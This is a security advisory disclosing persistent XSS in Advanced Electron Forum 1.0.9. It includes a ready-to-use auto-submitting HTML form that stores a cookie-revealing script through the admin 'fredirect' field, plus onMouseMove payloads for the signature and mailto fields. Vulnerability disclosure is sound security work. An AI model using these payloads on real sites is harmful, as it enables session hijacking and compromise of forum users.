Advanced Electron Forum 1.0.9 - Persistent Cross-Site Scripting

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-XSS.txt


Vendor:
=============================
www.anelectron.com/downloads/


Product:
====================================
Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.


Vulnerability Type:
===================
Persistent XSS


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

In Admin panel under Edit Boards / General Stuff / General Options

There is an option to sepcify a redirect URL for the forum.

See --> Redirect Forum:
Enter a URL to which this forum will be redirected to.

The redirect input field is vulnerable to a persistent XSS that will be
stored in the MySQL database
and execute attacker supplied client side code each time a victim visits
the following URLs.

http://localhost/AEF(1.0.9)_Install/index.php?

http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1



Exploit code(s):
===============

Persistent XSS

<form id="XSS-DE-PERSISTO" action="
http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=forums&seadact=editforum&editforum=1"
method="post">
<input type="hidden" name="editmother" value="c1" />
<input type="hidden" name="forder" value="1" />
<input type="hidden" name="fstatus" value="1" />
<input type="hidden" name="fredirect" value='"/><script>alert("XSS
hyp3rlinx \n\n" + document.cookie)</script>' />
<input type="hidden" name="fimage" value="" />
<input type="hidden" name="fname" value="Generals" />
<input type="hidden" name="fdesc" value="hyp3rlinx" />
<input type="hidden" name="ftheme" value="0" />
<input type="hidden" name="frulestitle" value="MAYHEM" />
<input type="hidden" name="frules" value="0" />
<input type="hidden" name="rss" value="10" />
<input type="hidden" name="rss_topic" value="0" />
<input type="hidden" name="member[-1]" value="on" />
<input type="hidden" name="member[0]" value="on" />
<input type="hidden" name="member[3]" value="on" />
<input type="hidden" name="inc_mem_posts" value="on" />
<input type="hidden" name="allow_poll" value="on" />
<input type="hidden" name="allow_html" value="on" />
<input type="hidden" name="mod_posts" value="on" />
<input type="hidden" name="editboard" value="Edit+Forum" />
<script>document.getElementById('XSS-DE-PERSISTO').submit()</script>
</form>



Some other misc XSS(s) under 'Signature' area.


http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=signature
on Anchor link setting
http://"onMouseMove="alert(0)

AND

http://localhost/AEF(1.0.9)_Install/index.php?act=usercp&ucpact=writepm
email link:
mailto:"onMouseMove="alert(1)



Disclosure Timeline:
=====================================
Vendor Notification:  NA
January 17, 2016  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
High


Description:
=================================================================


Request Method(s):        [+] POST


Vulnerable Product:       [+] AEF v1.0.9 (exploit patched version)


Vulnerable Parameter(s):  [+] 'fredirect'

=================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx